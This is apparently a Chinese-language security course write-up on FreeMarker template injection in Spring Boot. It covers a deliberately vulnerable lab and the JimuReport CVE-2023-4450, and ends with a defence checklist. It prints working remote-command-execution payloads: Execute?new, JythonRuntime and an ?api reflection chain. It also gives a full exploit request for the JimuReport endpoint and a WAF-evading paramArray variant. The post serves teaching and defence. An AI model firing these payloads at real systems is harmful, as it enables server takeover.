之前写过一篇通用 SSTI,主要集中在 Python/Jinja2。这次课程把 Java 侧的 FreeMarker 讲透了:从 Spring MVC 视图解析原理,到内存模板”遮蔽”攻击,再到真实组件积木报表的 CVE-2023-4450。我把复现过程和踩的坑整理成这篇。
配合课程的还有两个现成材料:一个 Spring Boot 2.7.18 + FreeMarker 2.3.32 的教学靶场,以及把靶场 payload 直接映射到真实 CVE 的分析笔记。本文按”原理 → 靶场复现 → 真实 CVE → 防御”的顺序展开。
0x01 前置:Controller return 的不是内容,是”视图名”
这是理解 Java SSTI 的第一道坎。对比两种写法:
@RestController // 返回值直接写进响应体
public class SafeController {
@PostMapping("/hello")
public String hello() { return "hello"; } // 页面显示字符串 "hello"
}
@Controller // 返回值被当作"逻辑视图名"
public class VulnController {
@PostMapping("/hello")
public String hello() { return "hello"; } // 触发模板渲染!
}
用 @Controller 时,return "hello" 会交给 FreeMarkerViewResolver 解析:prefix + 视图名 + suffix = "" + "hello" + ".ftl",然后引擎调 Configuration.getTemplate("hello.ftl") 找到磁盘模板渲染。
整条链路是:
DispatcherServlet → Controller 返回 "hello"
→ ViewResolver 链 → FreeMarkerViewResolver 命中
→ 拼出 "hello.ftl" → 引擎按 TemplateLoader 加载链查找模板
→ Template.process() 渲染 → HTML 写回
漏洞的本质就藏在最后一环:引擎按”加载链”找模板,而加载链的顺序是可编程的。
0x02 靶场设计:注入点与触发点分离
课程靶场故意做了两个接口:
POST /template:接收 JSON{"模板名": "模板内容"},把用户内容注册进内存POST /hello:完全无辜,只return "hello"
@PostMapping("/template")
public String template(@RequestBody Map<String, String> templates) throws IOException {
Configuration con = freeMarkerConfig.getConfiguration();
StringTemplateLoader stringLoader = new StringTemplateLoader();
for (String key : templates.keySet()) {
stringLoader.putTemplate(key, templates.get(key)); // 名字+内容全由用户控制
}
con.setTemplateLoader(new MultiTemplateLoader(new TemplateLoader[]{
stringLoader, // index 0: 内存(攻击者)—— 优先命中
con.getTemplateLoader() // index 1: 磁盘(正常) —— 轮不到
}));
con.clearTemplateCache(); // 清缓存,让下次查找重新走加载链
return "index";
}
”覆盖”其实是”遮蔽”(Shadowing)
磁盘上的 hello.ftl 一个字都没被改。MultiTemplateLoader 查模板时按数组顺序挨个问子加载器,谁先说”有”就返回谁——内存那份排在 index 0,先命中,磁盘那份被同名压制,根本轮不到。
| 状态 | POST /hello 渲染结果 |
|---|---|
| 未攻击 | 磁盘 hello.ftl → 正常 Hello, Alice ! |
| 已注册同名内存模板 | 内存恶意模板 → 命令执行 |
两个验证实验把这一点坐实:
- 攻击后去看
src/main/resources/templates/hello.ftl,内容原封不动; - 重启应用,内存加载器随 JVM 消失,
/hello恢复正常——攻击无持久痕迹。
0x03 新版 FreeMarker 为什么打不响:?new 与 ClassResolver
课程复刻的 payload 是经典的:
{"hello.ftl": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"whoami\")}"}
但直接打 2.3.32 会失败,因为 FreeMarker 2.3.23+ 用 TemplateClassResolver 控制 ?new 能实例化哪些类:
| 策略 | 行为 |
|---|---|
UNRESTRICTED_RESOLVER | 任何类都能 ?new(不设防) |
SAFER_RESOLVER | 2.3.23+ 默认,禁止 Execute / ObjectConstructor / JythonRuntime |
ALLOWS_NOTHING_RESOLVER | 几乎全禁 |
老文章写于限制出现之前,POC 一发即中;新版本默认 SAFER_RESOLVER 直接拒绝。靶场为了教学,在配置类里把开关拨了回去(反面教材):
configurer.getConfiguration()
.setNewBuiltinClassResolver(TemplateClassResolver.UNRESTRICTED_RESOLVER);
// 同时开了 ?api:configurer.getConfiguration().setAPIBuiltinEnabled(true);
真实环境里这两个开关默认都是关的——这也直接给出了防御答案(见 0x06)。
0x04 三条利用面
① ?new 实例化危险类(最省事)
{"hello.ftl": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"whoami\")}"}
?new 对类做了三件事:Class.forName(…, true, …) 触发类初始化 → TemplateModel 检测 → 无参构造实例。绑给 ex 后 ${ex("cmd")} 就是 Execute.exec() → Runtime.getRuntime().exec(),命令输出直接插值进页面,自带回显。
同族可用类还有 freemarker.template.utility.ObjectConstructor(任意类的构造器)、freemarker.template.utility.JythonRuntime(引入 jython-standalone 依赖时可直接跑 Python)。
② Jython 跑内嵌 Python
靶场 pom 里引入了 org.python:jython-standalone,于是:
{"hello.ftl": "<#assign jr=\"freemarker.template.utility.JythonRuntime\"?new()><@jr>import os; os.system(\"whoami\")</@jr>"}
JythonRuntime 是个 TemplateModel,用 <@jr> 宏语法把标签体当 Python 源码执行。
③ ?api 反射链(进阶,排错最多)
?api 内建能拿到 Java 对象的 Class,从而绕开模板层对反射的限制。前提是 setAPIBuiltinEnabled(true)(2.3.22+ 默认 false),且 Model 里得有 Bean 起点——靶场的 /hello 特意把 req(RequestFacade)塞进了 Model。
先跑最简探针确认前提:
{"hello.ftl": "req?api.class: ${req?api.class.name!\"失败\"}"}
能打出 org.apache.catalina.connector.RequestFacade 就说明通了。完整利用链用 classLoader 路线(不依赖在 Class 实例上直接调静态方法,兼容性好):
{"hello.ftl": "<#assign cl=req?api.class><#assign loader=cl.getClassLoader()><#assign rt=loader.loadClass(\"java.lang.Runtime\")><#assign m=rt.getMethod(\"getRuntime\")><#assign r=m.invoke(null)><#assign p=r.exec(\"whoami\")><#assign is=p.getInputStream()><#assign buf=\"\"><#assign b=is.read()><#while b!=-1><#assign buf=buf+b?c><#assign b=is.read()></#while>${buf}"}
三个排错要点,都是我实际踩过的:
exec返回的是Process不是文本,要读getInputStream()逐字节拼回来;- Windows 下中文乱码是 GBK/UTF-8 不一致,先跑
cmd /c chcp 65001或用纯 ASCII 命令验证; - 长链排错用
<#attempt>…<#recover>${.error}</#recover></#attempt>逐跳切段定位,别一次跑整条。
0x05 落到真实 CVE:积木报表 JimuReport CVE-2023-4450
靶场学的 payload 在这个 CVE 里一字不差,变的只是”用户输入从哪个口子进引擎”。
为什么一个”查库接口”会跑 FreeMarker
这是理解这个洞最关键的一句话:积木报表的”动态 SQL”本来就设计成 FreeMarker 模板——报表作者写的 SQL 里 ${dept}、<#if> 都是 FTL 语法,应用在查库前会先把这段文本交给 FreeMarker 渲染成真 SQL:
设计者写"SQL"(实际是 FTL 模板文本)
→ FreeMarker 渲染:替换 ${dept} / 处理 <#if> → 得到真 SQL
→ JDBC 用真 SQL 查库
而 POST /jmreport/queryFieldBySql(报表设计器”返回字段列表”的接口,常未授权可达)复用了同一条管线。于是用户提交的 sql 字段 = 模板源码。
Payload
POST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Content-Type: application/json
{"sql":"select 'result:<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ex(\"id\")}'"}
外层 select 'result:…' 是纯 SQL 外壳:渲染产物作为一行查询结果返回,自带回显。这也解释了它为什么容易被误认为 SQL 注入——但黑名单按 SQLi 特征拦不全,因为你传的是 FreeMarker 语法。官方定性就是 SSTI,CVSS 9.8,修复版本 jimureport-spring-boot-starter ≥ 1.6.1(2023-08-15)。
paramArray 二次渲染绕 WAF
如果 sql 字段被正则盯上了,还有条备用通道:SQL 里只写 ${x} 占位,把恶意 FTL 放进 paramArray 参数值——渲染时参数值被插值进模板,又触发一次渲染:
{"sql":"select '${x}'","type":"0",
"paramArray":"[{\"paramName\":\"x\",\"paramValue\":\"<#assign ex=\\\"freemarker.template.utility.Execute\\\"?new()>${ex(\\\"id\\\")}\"}]"}
两个识别要点,我把它总结成问自己的一个问题:这段用户输入在到达”它该去的地方”之前,会不会先经过某个模板引擎? 会,就按 SSTI 测。另外这套组件同族接口(loadTableData、dictCodeSearch)历史上另有 SQL 注入面——“模板注入 + SQL 注入”叠着修,只堵一边不够。
JDK 17+ 的坑
命令执行在 JDK 17 仍可行,但打内存马/字节码注入会失败:反射 ClassLoader.defineClass 触发模块系统限制 InaccessibleObjectException。公开研究用 ObjectConstructor 实例化 Spring 的 SpelExpressionParser 走 SpEL 等替代链。
0x06 防御清单
- 治本:绝不允许用户可控文本被注册成模板(
StringTemplateLoader+ 用户内容 = 事故)或经过任何模板引擎渲染;视图名来自固定枚举; - 治标:
newBuiltinClassResolver保持SAFER_RESOLVER或收紧到ALLOWS_NOTHING_RESOLVER;api_builtin_enabled保持默认 false; - 组件:JimuReport ≥ 1.6.1,接口加鉴权不暴露公网;
- 写文档时的坑:在
.ftl里展示 FTL 示例代码必须用<#noparse>…</#noparse>包住,否则页面直接 500ParseException——靶场首页修复时就踩了这个。
参考
- 复刻原理文章:cnblogs nice_0e3《Java安全之 freemarker 模板注入》
- CVE-2023-4450 / CNVD-2023-40557 / MPS-4hzd-mb73,CVSS 9.8
- 我的上一篇:SSTI 模板注入:检测、利用与修复